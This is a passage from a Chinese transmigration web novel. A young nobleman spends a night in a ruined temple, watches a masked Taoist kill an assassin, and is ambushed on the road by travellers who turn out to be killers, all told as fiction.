严澈很爽快地回答:“不介意啊,只要先生你不再说那个胭脂湖才女和都城首富的故事了。” “啊?这是为什么啊?这故事几乎说书的人人都会。” 严澈想了想,缓声道:“那位女先生到底遭遇了何事,咱们谁也不知真相。常言道‘盖棺定论’,不过是赢家一方说了算罢了。斯人已逝,何苦再拿她生前之事编排谈笑,平白添了自家的口业呢?” 大叔说了这么多年的故事,其中道理当然是明白的,只不过其他说书人都这么做,自己要吃饭也就随波逐流了。 如今既然有了新故事,就如同眼前的郎君所说,何必再造口业。 “行,我答应你。” 严澈的声音虽然不大,但君晏和师弟正好起身路过,将他说的话听了个七七八八。 当严澈站在酒肆门前,等着梁椿赶马车过来时,有人来到他的身后。 “喂,这出《孽海胭脂湖》早就传遍大江南北了,你为什么不喜欢?是因为同情罪妃杨氏吗?” 严澈转过头来,发现竟然是那个腰间配剑的冷脸道士在跟他说话。 道兄,你还真够百无禁忌的,这话题能这么直白地在大庭广众之下问出来吗? 严澈起了几分逗他的心思,也知道戴帏帽的男子是主,配剑道士是从,就笑着开口道:“有本事你让你的师兄撩起帏纱让我看一眼,我就告诉你答案。” “你放……” 他的剑还没有拔出来,就被严澈抢先一步摁了回去。 “对对对,我放肆。我的马车来了,这就走了!修道难道没有修身养性的效果吗?道兄的脾气好差啊!” 说完,严澈就钻进了马车里,还故意趴在车窗上,朝着那道士挥手再见,把对方气了个够呛。 可就在他要将脑袋收回来的时候,站在那道士身后的男子轻轻将帷纱抬起。 严澈的目光顿滞,他总以为陆游的那句“惊鸿照影”只是意象美,而此刻他觉得不够不够,远远不够,因为自己的神魂都差点出窍。 那墨衣男子的身姿挺拔却又随性,仿佛漠视天地风雨和生死的崖柏,与之相对的是帏纱下的容颜俊美至极,却无半分阴柔,甚至于骨相生冷硬朗,特别是那双眼睛,深邃沉静,自带俯瞰尘寰的疏离。 严澈甚至觉得那一瞥是自己的错觉,可是当他还想再看清楚一些时,只剩下对方转身离去的背影。 还好对方是个道士……不过,道士又不是和尚。 严澈用力敲了敲自己的脑壳,在心中调侃道:道兄,你还是做那山巅的明月吧,凡尘太多烦心事了。 第二日快黄昏的时候,严澈和梁椿终于抵达了黄石镇的驿馆,可惜老爹和阿姐都已经离开两天了。 “椿哥,要不咱们就放弃在进入都城之前赶上我爹的宏图壮志吧。” 反正条条大路通罗马,罗马就在那里,又不会跑。 “可是我答应了主人,三天之后要在红原驿站和他汇合。”梁椿非常坚定地回答。 严澈欲哭无泪,“椿哥,我的脑仁都要被晃出来了。我本来就不聪明,再继续赶路,就会更蠢了!” 谁知道梁椿回答道:“郎君说过,严将军并不指望你光宗耀祖,所以蠢不蠢的没关系,活着就好。” “我给你跪一个?” 梁椿淡淡地笑了一下,“郎君最擅长的不是躺下打滚吗?” 严澈非常真诚地问:“对你有用吗?” “没用。” “那我滚个屁啊!” 就这样,严澈连个安生的床都没有睡,梁椿赶着马车,左摇右晃地连夜赶路,只听见严澈哀嚎阵阵。 “椿哥啊,就是生产队的骡子,也是要休息的啊……” 终于,通往红原驿站的官道因为山崩而无法通行,附近也没有客栈能住,为了让马匹休息休息,他们只能找了一座破庙落脚。 巧的是,破庙里借宿的人还不止他们。 有走江湖的卖货郎、着急赶回去红原看望病重父亲的一对母子、背着箱笼投奔亲戚的书生,以及严澈和梁椿。 严澈本来就闲不住,没两下就和这些路人聊到了一起去,还答应第二天让那对母子坐自己的马车一起去红原。 破庙里的气氛还是挺融洽的。 梁椿对严澈心怀一丝愧疚,毕竟是被自家主人捧在手心里的小弟,这样过夜确实委屈了他,于是找了一堆干草,铺上马车里的垫子,希望严澈今晚至少能睡得舒服一些。 其实能有个破庙,或者应该说是能有 个不会晃动的地方睡觉,严澈已经十分感激了,几乎立刻倒在干草堆上,没多久就发出轻轻的酣睡声。 梁椿沉默不语,生了火给严澈烤饼,饼烤的差不多了,就把他拍醒。 本以为严澈会嫌弃,没想到他竟然说:“烤饼真香!要是再有点小咸菜就好了!” 梁椿怀疑自己听错了,小祖宗竟然说烤饼香? 严澈用胳膊肘轻轻撞了他一下,“没咸菜就没咸菜,你别皱眉啊。” “我只是没想到,你也有狗嘴里吐出象牙的一天。” “椿哥你千万记住,狗不能吃咸菜,会掉毛,吃多了还会噶。”严澈没好气地说。 对面那个正在给儿子补衣裳的农妇笑着说:“小哥啊,我听你喊他‘郎君’。” “他……是我主人的小弟。”梁椿回答道。 而且还是表的。 “那你家郎君的脾气是真好,跟你说话很亲近,一点都没有主子的架子,完全是把你当自家兄弟哩。” 被妇人一提醒,梁椿才后知后觉自己似乎对严澈不够恭顺。 没想到严澈一条胳膊却搭在了他的肩膀上,笑着说:“那是。我小时候差点被拐走,还多亏了椿哥把我抱回来哩。” 梁椿有些惊讶:“原来你记得。” “救命之恩,没齿难忘。”严澈朝他龇了龇牙,继续啃饼子。 老实说,他在没去娉霞山庄之前,是真的不记得以前的事情。 但离开娉霞山庄之后,他不但得到了骑马技能,小时候的记忆也一点点地涌现,包括他要钻戏班狗洞去找那个花旦,大哥带了人去拦,是梁椿眼尖发现他撅着腚在墙根外,赶紧把他给抱回来了。 正吃着,破庙里又来了借宿的人。 “唷,是两位道长。”卖货郎笑呵呵地说。 道……道长? 心弦被拨动,严澈抬起头,果然又看见了老熟人。 此时,执剑道士已经完全被他忽略了,严澈满眼都是那帏帽男子。 可惜,破庙里无风,他没机会再看到那男子的脸。 执剑的道士朝着所有人作揖行礼,算是打过招呼了,然后两人默默来到另一个角落,那气场自成天地,一个抱着剑靠着廊柱,另一个盘着腿,帏帽遮挡住了看不见表情,估计是在闭目养神。 只是严澈并不知道,对方其实在看他。 君晏那天是故意抬起帏纱的,大概是因为少年说那武松打虎、三碗不过冈的故事,满满的潇洒豪气,君晏隔着帏纱想象他神采飞扬的模样,但最终抵不过亲眼看见那双明亮的桃花眼。 严家从不在君晏的谋划里,就算君晏能帮着严家逃过公孙瑕的算计,但进了都城还会有第二次、第三次,严家注定会成为权利算计的牺牲品。 可不知不觉之间,严澈却已经有了入局的可能,他得到了一丝姚公公的注意,据说他那位大哥也非常得玄津先生的喜爱,但君晏却并不希望这少年入局。 因为棋盘厮杀,能留下来的棋子少之又少。 他更适合回去南川,懒懒地晒着太阳,溜猫逗狗,追风纵马,一辈子当个少年。 但美好的东西本来就是注定要被打碎的,就像上一世的自己。 想到这里,君晏对少年的怜悯消散无痕,他闭上了眼睛。 13.装睡 严澈不会再自讨没趣地去攀谈,但是心里面那种像蚂蚁一样钻来钻去的感觉说不出的……难受。 见他忽然没了胃口,梁椿良心发现,还真回了马车,给他找了咸菜来。 只是咸菜吃多了,他又开始喝水。 梁椿都忍不住提醒他:“郎君饮了这么多水,我可不陪郎君起夜。” “不陪就不陪,我又不是小娃娃了,还会怕鬼不成。” “哦,不怕就好。” 严澈吃完了饼,故意转过身去背对着那两个道士,但却丝毫没有睡意。 这么一张让人过目难忘的脸,在里不可能是无名配角吧? 可严澈怎么回忆都确定原著里没有什么叫得出名字的角色是道士啊。 想着想着,严澈竟然犯困了,没多时就睡着了。 渐渐的,破庙里除了此起彼伏的鼾声,就是中间火堆偶尔发出的噼啪响。 梁椿的乌鸦嘴应验了,睡意沉沉的严澈梦见自己出现在一个迷宫一般的商场里,到处找洗手间,一层又一层地绕着跑,就是找不到。 就在他急得就快突破的时候,严澈猛地睁开了眼睛,沉沉地呼出一口气来。 猛地翻身,他摸了摸干草堆,还好还好,自己忍住了! 再转过头,就看见了梁椿。 他靠着墙,将包袱抱在怀里,里面是一些银票和碎银子,是他们最重要的家当。 严澈捶了捶脑袋,觉得有点晕,不知道是不是因为落枕了。 转过身,他下意识看向那两个道士的方向,才发现那里空无一人。 竟然不告而别?还是大半夜里悄摸摸走了? 严澈的心里莫名有点空落落的。 不过,本来就是萍水相逢,他连那俩道士的名字都不知道,有什么好可惜的。 只是自己发出稀稀疏疏的声音,梁椿竟然眉头都没皱一下,严澈才不相信他能睡得有那么沉呢,就是故意的,不肯陪自己起夜而已。 严澈绕到了破庙后面,虽然大半夜里也没有人能看见他,但天在看,地在看,他自己也在看,好害羞啊。 他找了个角落,左右都有墙遮着,终于成功放水。 刚抬起头准备离开的时候,他从断裂的墙垣之间看到远处……好像有人? 大概因为这双眼睛没有熬夜打过游戏,没有关了灯刷电视剧,也没有挑灯夜读,所以视力倍儿棒,保留了一点零的出厂配置,他竟然辨识出了那里有三个人,一个穿着低调的黑衣,另外两个不就是一起借宿破庙的道兄吗? 就算严澈能认错那位持剑的道士,也不会认错另一人的帏帽,毕竟标志性太强。 非要等到夜深人静摸黑了才见的人,多半不是什么好人。 好奇心害死猫,严澈决定低下头,当做什么都没看见,赶紧回去继续睡觉。 等到明天的天一亮,就分道扬镳,各回各家。 可严澈才刚后撤半步,激变突生! 黑衣人明明是抬手接东西,却毫无征兆朝着帏帽男子射出了袖箭,速度太快,距离也近,看得严澈呼吸凝滞,心脏差点炸开。 这谁能防备的过来?一旁的持剑道士反应已经够快了,但还是晚了半步。 严澈以为帏帽男子会被射穿咽喉,没想到轻纱瞬移,墨色道袍在月光下犹如电光石火,他的手腕停留在黑衣男子的身后,原来他袖中的短剑早就滑至手掌,被紧紧握住,后发先至,寒光闪现,利刃已经落定。 黑衣人捂住自己的喉咙,轰然倒地。 一招定生死,看得严澈胆颤。 这是他亲眼见到杀人的场面,动手的还是那位看起来不沾人间因果的谪仙。 严澈蓦然想起那句话:长得好看的,无论男女都要小心。 阿娘诚不欺我。 他不想知道那三人之间具体怎么回事,但他肯定知道的越多死的越快,严家的事情已经够麻烦了,他不需要更多的麻烦。 严澈很快冷静下来,回到了自己的草堆上,一颗心怦怦跳。 当他再看见抱着行李睡死的梁椿,忽然意识到了什么。 严澈用力嗅了嗅,破庙里好像有一种很淡很淡的味道,像干草燃烧又像坏掉的糖果…… 就算没吃过猪肉也看过猪跑,多少年的电视剧和储备,严澈要是还没反应过来那俩不做人的道士用了迷药,那他就真是满脑子豆腐渣了。 “椿哥……梁椿?” 严澈轻轻拽了拽梁椿的袖子,这家伙果然没反应。 “就说你把银子抱那么死有什么用?” 还真是众人皆睡我独醒啊!这样的清醒,他不想要! 早知道一穿过来,他就把良心扔了喂狗,这样就能拽了银子扔下梁椿,骑马跑路。 但那两个道士绝不是善茬,一想到帏帽男子的出招……毫不拖泥带水,一线定生死的果决,严澈就头皮发麻。 他们多半是假道士,按里的套路,应该是什么杀手组织的成员……自己若是跑了,说不定会被他们或者他们的组织追杀到天涯海角,而且不知道这个组织的势力范围有多大,如果连累了严家,那就不好了。 一番深思熟虑,严澈决定躺回草堆,继续假装无事发生。 破庙外脚步声隐隐传来,一前一后是两个人。 杀了人得埋尸吧?回来的怎么这么快? 身着道袍的两人沉默着没有任何交谈,因为看不到他们的表情,也不知道他们是否比划手势沟通,严澈的内心忐忑加倍。 他的精神高度紧绷,有一个坐下了,另一个呢?为什么还不坐下? 人也杀了,赶紧睡吧! 等等,怎么那个人走过来了? 而且还是走向我的方向? 我一看就手无缚鸡之力,又不是什么武力担当,找我做甚啊! 严澈头一次发现活着好难,用尽了洪荒之力,不仅仅要装睡,保持呼吸平稳,还得装不怕死! 对方竟然停留在了严澈的身后,甚至坐了下来,严澈的小臂上起了一层鸡皮疙瘩,阎王点卯,要来收他了。 一阵若有似无的清幽香味飘落,好像松柏的味道。 严澈依稀记得,除了降真香和沉香,道观里好像也经常用柏香。 冰凉的金属不知不觉贴在了严澈的脸颊上,那一刻他差点惊叫跳起,但是他没有。 强烈的求生欲 让他意识到,如果对方想杀自己,短剑贴上的是他的脖子而非他的脸! 他用超强的定力维持自己的眼皮不颤,呼吸平稳而规律,只有他自己知道,他的心脏都要跳到嗓子眼了。 那人似乎低了头,帏帽的轻纱掠过了严澈的耳朵,很痒。 他不能动。 一声很轻的、幻觉一般的笑声拂过严澈的耳畔。 “我知道你醒着,而且该看的不该看的,都看过了。” 漫不经心的声音,让人想起月下松涛拂晚风,明明没有杀意,但回味却透着冷冽。 这是严澈第一次听到帏帽男子说话,没有心动,只有无边恐惧。 什么叫做“该看的不该看的”,道兄,讲话不要那么暧昧! “你睡前喝了太多的水,所以‘笼中梦’对你的作用不大。” 可以了,不用解释给我听!喝水喝多了所以药效被稀释,以我天才的大脑已经想到了这个可能性。 你人长得好看,声音也好听,哥们儿你若是穿到现代可以当个男主播,我保证当你的榜一大哥,天天给你刷火箭游轮,今晚你就结个善缘,放过我吧! 事与愿违,那柄短剑离开了严澈的脸颊,却轻轻挑起了他额前一缕发丝,因为角度巧妙,足以瞬间割喉的剑刃却宛如桃枝轻轻承托着那一缕头发。 严澈吓得连咽口水都不敢,还要勉强维持平稳的呼吸,这场审判什么时候才能结束,他到底能不能活命? 给个准信,行不行! 此时的君晏几乎挡住了破庙中间微弱的火光,严澈的眉眼全部笼在阴影里,显得安静、乖巧,单纯得让人产生一把捏碎的过分欲望。 “你的眼睛很亮。方才所见之事透露分毫,我不介意将它们……好生珍藏。” 那语气缓柔如抽丝,却让严澈心弦紧绷。 果然,是人是鬼不能看脸,厉魄罗刹也不过如此了。 等等,这家伙要剜我的眼睛?难不成他就是这本书的天命之子,也就是炮灰严家全家的那个伪君子齐王? 严澈关于原主的记忆恢复进度条还在十岁以前,他不记得齐王到底长什么样子。 如果是帏帽之下的这张脸,严澈能理解原主沦陷得如此彻底的原因。 但齐王……修道吗?还假扮道士?书里没写过啊。 很快严澈就否定了自己的猜测,齐王从来都享受前呼后拥,一副总有刁民要害本王的样子,是不可能出来游历的。 就在他千头万绪的时候,那人的指尖竟然又轻轻落在了他的眼睛上。 要死啦!不是说好了如果我管不住嘴,你才剜我的眼睛吗?如今我还什么都没干呢! 果然是骗子啊,信用值为负。 可意料之中的剧痛并没有传来,对方的指尖只是轻轻蹭了一下他的眼睫,甚至有一点克制的意味。 果然,就是在试探老子睡没睡觉。 哼,装睡,老子是专业的! 终于,身后的人起身离开了。 严澈的脖子里起了一层冷汗,额角的汗珠绷不住滑落下来。 整个破庙重新归于安寂。 太好了,他的小命应该保住了。 14.有人要搭霸王车 剩下的时辰度日如年,严澈求着天赶紧亮,那个什么“笼中梦”的迷药效果快快过去,只要梁椿清醒过来了,不说能打败这两个假道士,带着他逃跑的本事应该有吧? 严澈一动都不敢动,僵到被压住的那一侧都麻得没感觉了。 其实他只要转过身,就会看见那位“厉魄罗刹”摘下了帏帽,放在了膝头,单手撑着下巴带着调侃的笑盯着严澈的后颈。 严澈头顶上方破了个拳头大小的洞,一缕月光正好流泻在他的后颈上,他因为紧张而出的那些汗折射着月光,亮晶晶的,都被对面看了个清楚。 终于抱着包袱的梁椿忽然向一旁歪倒,他的肩头一震,猛地醒过神来。 倒吸一口气,梁椿惊讶于自己怎么能睡得这么熟,他赶紧去看严澈,发现对方仍然是之前的那个姿势,脸对着里面,后背朝外,一点戒备都没有。 此时的严澈不动声色地舒出一口气。 椿哥啊椿哥,你知道郎君我经历了什么吗? 在你酣睡的时候,我已经在阴曹地府门前走了一遭了! 严澈呢喃了一声,终于可以动一动了,哎哟喂……我的肩膀……我的腰……麻了麻了! 不过除了梁椿,那对母子中的儿子也醒了,他还晃了晃自己的母亲,小声道:“娘亲,我想撒尿……” 那妇人名叫娟娘,慢慢转醒,嘱咐儿子不要大声说话吵醒其他人,拽了他去破庙后头了。 当他们经过卖货郎的时候,对方还砸了砸嘴。 眼见着破庙里的动静越来越多,严澈紧绷的心弦终于可以放松了,他假装自然地翻了个身,半眯着眼睛看向对面。 冷脸道士抱着剑仍旧闭着眼睛。 那位吓人的罗刹盘腿撑着下巴,帏帽被他戴了起来,将他的脸遮得严严实实。 又过了一会儿,妇人带着儿子回来了,踩中了生火的柴枝,发出啪嚓声响,让那位靠着书箱睡觉的书生也醒了,揉了揉眼睛随口问道:“天亮了?” “没,估摸着才到寅时正。还能再睡会儿。”妇人回答。 大家伙儿地一听,就又纷纷睡下了。 唉,兄弟们,大姐还有那位小弟弟,你们是不知道自己曾经睡死如待宰羔羊,那边的屠夫一旦挥刀你们就必然没命! 终究是我一人扛下了一切啊! 严澈被吓了一晚上,心神一松,达到秒睡境界,不到片刻就发出小小的呼噜,就像吹糖漏气,惹得那位妇人和卖货郎都会心一笑。 天边泛起了鱼肚白,卖货郎拾了些柴火,梁椿没有叫醒严澈,而是就着火堆烤饼,大家的气氛还算和睦。 到了辰时,严澈才被喊醒,梁椿递了饼给他,安抚道:“郎君再将就一下。今天得赶山路,估摸着夜里才能到红原。不管能不能和主人碰上,我们都会在红原好好休息一晚,成吗?” “嗯。”严澈迷迷瞪瞪点了点头,接过烤饼咬了一口。 忽然之间想到了什么,他赶紧抬头看向对面,那两个道士竟然还在。 心脏陡然一沉。 严澈顾不上喝水,他得快一点把饼吃掉,早吃完早上路,就能甩掉这两个阴兵鬼差! 梁椿这个天真无邪的家伙还以为严澈吃那么快是因为饿了,怕他噎着还特地给了递水。 一想到昨晚上要不是水喝太多才会看到命案现场,严澈对喝水都有心理阴影了,直接摇头。 娟娘笑着来到严澈面前,有些局促地说:“郎君昨天晚上说可以捎我们母子一程……不知道还方便不。我会管好儿子,不叫他弄脏郎君的车子……” 严澈摇了摇头,“不会啊,一起走呗。” 本来就要绕路,如果这对母子步行,得走到猴年马月去。 一旁的梁椿听了,心绪微动,之前除了姐姐严凝,可是谁也不能进他严澈的马车的。 就连梁椿的主子严赋也被他给闹出来了,一路都是骑马随行。 可这会儿,小祖宗却愿意让素不相识的平民搭他的车? “椿哥,可以不?”严澈歪着脑袋问。 “啊?”梁椿反应了好一会儿,才意识到严澈在问自己意见,“郎君觉得可以,那自然就可以。” 这如果是路边有什么壮汉想要搭车,梁椿的戒备心会拉满。但妇人和孩子力气小,一整个晚上过去了也没有做什么不轨之事,严澈愿意带上他们,梁椿没必要反对。 终于要继续上路了,想着就能甩掉那两个煞星,严澈连脚步都轻快了几分。 只是他才和娟娘母子上了马车,就听见梁椿在跟什么人说话。 “二位,搭车的事情,我实在做不得主,得问问我家郎君。” 严澈一听,还有人想要搭车?如果是那个书生和货郎,虽然会有点挤,但他倒是不介意。 只是刚把车帘掀开看看,严澈就看到那两个道士。 心绪陡然一沉,阴魂不散啊,你们确定是搭车不是灭口? 持剑道士见严澈露了脸,立刻开口道:“郎君,能否行个方便?我和师兄也是要去红原。” 至于那个帏帽罗刹,就像个没事人一样站在后面。 严澈的脑子飞快转动,快点想,快点想!一定要想一个符合自己人设的、非常自然的理由拒绝这两个人。 “我不。”严澈抬起下巴,那表情劲儿劲儿的。 就这两个字,够任性,梁椿非常熟悉,只能无奈地朝他们俩抱拳致歉。 “这位兄台,能否近一步说话?”持剑道士又说。 梁椿蹙眉,瞥见了持剑道士藏在掌心里的一块令牌,正要上前看清楚,却被严澈一把拽住了袖子。 “走了,椿哥你不是说要尽快赶去红原吗?搭车的人太多的话,马儿会拉不动的!” 梁椿回过头来,轻轻拍了拍严澈的手背,安抚道:“郎君稍待。” 稍待你个屁啊!你过去就是二对一,这俩货先杀你再杀我,咱们黄泉路上好作伴! 严澈确定自己的眼神警告已经很到位了,但梁椿还是放开了他的手。 两人站在一旁的路下,不知道说了什么,梁椿竟然还向那个持剑道士抱拳行礼,然后走回到了马车前。 严澈就坐在驾车的位置上等着他,梁椿俯首在他耳边道:“郎君,这二人我们恐怕必须得载。持剑的那位是大理 寺丞谢鞅,要赶往红原驿站联系同僚。另一位是紫宸宫的道长,道号砚真,也是要从红原驿站赶回都城。” “你怎么知道他们说的是真是假?” 那个谢鞅是不是真的先放一边,但另一个杀人不眨眼,还那样试探和吓唬我,要说他是真道士,鬼才信呢! “谢大人有大理寺的腰牌,我看过那个工艺和材质,民间仿制不出来。至于砚真道长的随身玉牌,上等玉质,还有九重莲花的刻印,应该真的出自紫宸宫。” 严澈歪着脑袋问:“紫宸宫很厉害吗?不能不带他吗?” 梁椿闭上眼睛叹了口气,小声回答:“郎君知道国师辅元真人吗?” 严澈很想回答不知道,但为了不被梁椿看不起,他脸不红心不跳地点头:“知道啊。” “辅元真人就是在紫宸宫修行。” 严澈:…… 所以他是遇上要搭霸王车的了。就算腰牌和玉牌都是真的,也有可能是他们杀人越货,从正经公务员那里抢来的工作证啊!那牌子上又没有照片,防人之心不可无! 诶,有了! “既然两位道兄有要紧事,这马车就让给两位吧。我和椿哥可以步行。” 说完,严澈没忘记给车里的母子递了个眼神。 谁知道那对母子还没反应过来,那位名叫砚真的道士竟然来到了严澈的身边,在他的脚刚要从车上落下来的时候,忽然弯腰扣住了他的小腿,明明是修长洁白的手指,看着更适合题诗作画,却力气大得惊人,强行向上一托,严澈就被托回了马车上。 “郎君客气了。” 很简短,甚至温和里带着笑意,却有种不容拒绝的气场。 谢鞅朝着严澈点了点头道:“在下可以同梁椿兄弟一起驾车,不会挤着郎君。” 严澈的眼泪都要掉下来了,他只想在车外,不想在车里。 就这样,谢鞅和梁椿驾车,车里面对面坐着娟娘和她的儿子李顺,以及严澈还有所谓的“道士砚真”。 车里地方比较小,砚真终于舍得将帏帽摘了下来。 坐在他对面的娟娘和李顺果然瞪大了眼睛,看傻了。 “道……道长,你可真好看啊……莫不是已经修成仙了?”李顺咽了咽口水,磕磕巴巴问道。 砚真很淡地笑了一下,“小弟弟,这世上没有仙,恶鬼修罗倒是有不少。以后行路,一定要小心。” 严澈心想:唷,还真是大实话。 李顺看着砚真的目光很直白,而娟娘也时不时瞥向对方,看一眼又收回,忍不住又会再看一眼。 孩子的心思藏不住,见到好看的人就想多和对方说话,一直不停地问恶鬼什么样子,修罗又是什么,道长能不能驱鬼…… 偏偏严澈又坐在最里面,他不好去看对面的娟娘,只能一直看着李顺,心想孩子啊,求你别说那么多话。小心这位道长切了你的舌头。 而砚真却撑着下巴,侧着脸,毫无顾忌地看着严澈,唇上是并不分明的浅笑。 李顺直接问:“道长,你为什么一直盯着郎君看啊?” 严澈心里一惊,什么?他盯着谁? 15.善与恶 他下意识侧目,与砚真的视线相对的刹那,严澈发现这个男人的眼阔少见的深邃利落,眼尾却带着恰到好处的写意,眸光中裹着一分漫不经心。 惑人,但更多的是危险。 “我牙上有菜吗?道长做什么盯着我看?”严澈的反问很自然,将心底的恐慌收敛得看不出端倪。 如果书穿有奥斯卡,他值得一座小金人。 “在下只是想起前几日,郎君在酒肆里说书的风采。行路漫长,郎君不如再说个故事?” 这道士的语气里没有半分胁迫意味,但严澈哪敢不从? 至少说故事还能分散一下注意力,不然枯坐在里面,自己只会越来越焦虑。 上一次既然讲了武松打虎,那就继续《水浒传》吧。 严澈清了一下嗓子,“那行吧,我就接着说那个武松的故事。” 听到严澈要说书了,外面赶车的谢鞅竟然还把车帘捞了起来,笑着说:“让梁椿兄弟和我也一起听听呗。” 谢鞅这么捧场,严澈对他的印象好了一点点。 “上回说景阳冈武松打虎,接下来就是斗杀西门庆,醉打蒋门神!” 严澈讲故事抑扬顿挫,听得对面的李顺一直鼓掌,到了精彩处这小子一直“哦”。 当讲完了武松遭陷害之后怒杀张都监和蒋门神,驾车的谢鞅和梁椿不约而同一齐叫好。 严澈有些得意地笑了笑,故事一气呵成地讲完了,自然也免不了口干舌燥,他下意识用舌尖舔了一下嘴角。 殷红的小尖一闪而过,一瞬间竟然让人想要死死……咬住。 有什么东西轻轻撞了严澈一下,他侧过脸,竟然是一直沉默的砚真将水囊递给了他,还微微抬了抬下巴。 这是梁椿备的水囊,应该动不了手脚。 严澈爽快地接过来,掰开塞子,咕嘟咕嘟喝了几大口。 快到晌午,他们在一处溪边停了下来,既要生火做饭,也要让马儿吃一些草料。 谢鞅两三剑下去就戳起了几条鱼,娟娘利落地处理了,梁椿找出了马车里的陶罐,说是中午可以煮鱼汤。 严澈拿了水囊,蹲在小溪边打水,没想到那个砚真竟然也来到他的身边,蹲在一块大石头上净手。 这是还打算试探我?还是威胁我? 严澈真的怀疑这位道长是不是有什么心理问题,特别喜欢对别人进行心理折磨。 破罐子破摔,严澈小声嘀咕了一句:“你该不会是暗恋我吧?” “贫道观郎君行事,对于郎君来说善恶的标准和美丑一样,用眼睛就能看出来,对吗?” “啊?” 这又是什么新考验? “比如那对母子,看衣着就知是市井之中辛苦讨生活的,一分钱也舍不得枉使,又急着赶去照顾病重的父亲,端的是一等一的良善之人。” 砚真垂着眼,他的笑意很淡,甚至有几分嘲讽薄凉。 严澈没有回答,因为他不知道对方说这些是什么用意。 “而像在下这样瞬息之间取人性命者,哪怕穿了一身道袍,也不可能是什么好人。” 严澈僵在那里,哪怕水囊满了,他也不敢动。 砚真侧目望向他,目光仿佛能透过严澈的双眼直入他的心境,“可是郎君,你要不要问一问自己,为何那男孩穿着草鞋走了这么远的路,昨夜在破庙里却没有喊过一次疼、叫过一次累?” 严澈怔了一下。 “那妇人说要去照顾生病的父亲,怎么一点草药或者一颗滋补的鸡蛋都没有带?” 霎时之间,严澈的心脏一片冰凉。 “像贫道这般手染鲜血者,发现有人觊觎郎君的马车和性命,所以与同伴不惜涉险同行,是善还是恶?” 听到这里,严澈立刻想要回头确认那对母子在干什么,却没料到那男孩李顺已经“道长道长”地喊着跑过来了。 砚真神情依旧,转过身来笑着问:“怎么了?” “鱼汤快要煮好了,娘和梁大哥叫你们去吃饭。” 正常到不能更正常的话,让严澈怀疑砚真说得那些就是故意让他心绪不宁的。 “好。”砚真低下头去看脚下的石头。 就在他即将起身却还没有完全站直的刹那,李顺竟然以迅雷不及掩耳之势,手握匕首朝着砚真的喉咙刺去! 严澈睁大了眼睛,他下意识向前伸出手,但太慢太慢了! 可是砚真却从容地脖颈一侧,单手撑在一旁的石块上,攻守瞬间易势,他抬起的膝盖狠狠砸在了李顺的胸膛,击得他踉跄后退。 李顺的惊诧只有一瞬,他没有料到砚真的反应那么快。 而另一边,娟娘本想要往鱼汤里下点药,却没想到梁椿和谢鞅在旁边看着,完全找不到机会。 更重要的是从谢鞅对她的防备来看,她的身份早就被对方看穿了。 于是一不做二不休,娟娘借着添柴火的机会直接将陶罐给掀起,滚烫的汤朝着正要往里面放野菜的谢鞅面门而去! 谢鞅迅速向一侧翻滚,热汤只溅到了他的衣摆,娟娘骤然从腰间抽出了软剑,剑身如蛇游,防不胜防,谢鞅刚出剑抵挡就被软剑缠住,剑尖一晃,在他的脸颊上留下一道血痕。 还好没有毒,不然谢鞅就要领盒饭了。 梁椿的第一反应就是寻找严澈,只见他跌坐在溪边,而不远处的砚真与李顺已然交上手了! 两人一个用的是短剑,另一个用的匕首,都是近身缠斗。 砚真速度极快,以攻代守,招招致命,李顺疲于防守,有些狼狈,但凭借身形优势攻击砚真的下盘。 梁椿奔向马车,竟然从车下方摸出了两节牛筋木的杆子,拧在一起就是一柄长枪,他迅速赶到了严澈的身边,一把将他拽了起来。 严澈醒过神来,梁椿将他拉到了马车边,准备砍断缰绳,“立刻骑马离开!” 没想到娟娘竟然朝他们的方向吹出毒针,梁椿的反应极快,将毒针挡开。 谢鞅抓住了机会,眼看着就要抹了娟娘的脖子,又被娟娘给惊险避开了。 严澈算是看明白了,昨个夜里被砚真抹了脖子的黑衣人算个屁,娟娘和李顺的武力值才是第一梯队的,而且他们的路数阴毒,目标明确就是取人性命,不是杀手就是死士。 此时的娟娘忽然高喊出声:“你们两个冤家 ,还不出手?老娘就要撑不住了!” 严澈心中大惊,搞什么鬼?娟娘还有同伙? 一支袖箭从林中飞射而出,差一点钉入谢鞅的肩头。 “哎呀,哎呀,要你着急邀功,这下栽了吧?” 破庙里的那个货郎从密林的阴影中走出,他拧了拧手腕,刚才就是他射的袖箭。 和砚真斗得难解难分的李顺也喊了出来:“这是个硬茬子!绝对是个刺客出身!死书生,快来跟老子换!” 此时的李顺声音不再像个孩童,而是三、四十岁的中年汉子。 一个笼箱忽然朝着砚真的方向砸了过去,正好挡在了李顺的面前,李顺立刻脱身,而破庙里的那个书生一脸笑容地走了出来。 “别抱怨了,我和货郎为了追上你们,半路动手杀了商贾,要不是抢到了马匹追上来,你们这会子就只能自己扛!” 严澈快疯了,他就睡了一下破庙,遇到四个人外加俩道士,那四个人竟然都是杀手,那俩道士可别也是假的公务员! 这是书穿版本的无间道吗? 书生满身都是暗器,唐门大佬附身,砚真擅长的是近战,一身杀力发挥不出来了。 至于那个李顺,没了孩童的单纯,一脸狰狞朝着梁椿和严澈而来。 “两位哪儿都别想去,把命留下吧!” 梁椿果断地从车下方抽出一把剑,扔给了严澈:“保护好自己!找机会骑马离开!” 严澈接住的时候,才发现这剑很沉,他参加武术比赛用的剑只能叫道具,此刻他手中握着的是真正的杀人兵器。 剑身笔直,寒光凛凛,但他只会左右挂剑或者仆步穿剑之类的比赛动作,连对抗训练都没有,他能干啥? 此时的梁椿凛然出枪,果断而精密地攻击李顺的下盘,让他不得靠近。 那边的谢鞅单挑娟娘和货郎,分身乏术。 梁椿的枪法是从千军万马里杀出来的,没有任何花哨,胜在迅猛无情,李顺不得已冒险贴地而行,直取梁椿脚踝,赌的就是枪长难回、近身必死,看得严澈的心弦几欲断裂。 但梁椿控枪的手陡然下滑,枪尖后缩,游龙一般贴着腰收尾,“铿”地一声隔开了匕首,震得李顺虎口发麻,差点脱手。 原来梁椿竟然这么厉害,严澈对他产生了从未有过的崇拜。 但是谢鞅就没那么潇洒了,娟娘的软剑和货郎的双刀攻击之下,他已然落了下风,肩头还挨了一剑,鲜血染红了一大片。 李顺见状高喊:“娟娘先缠住这厮,货郎且来助我了结这个用枪的!” 形势骤变,梁椿忽然被两人围攻,又要提防李顺的下盘阴招,又要面对货郎的双刀攻击,梁椿怒喝一声:“走啊——” 严澈拎着剑,他根本不知道该怎么帮梁椿,挽出个剑花来也挡不下货郎一刀。 但是真的要走吗?梁椿本事再大,他的枪法走的是大开大合的阳刚路子,如果面对的是受正规训练的士兵,他绝对能以一抵十。但李顺和货郎跟战场上的对手可不一样……他们是杀手。 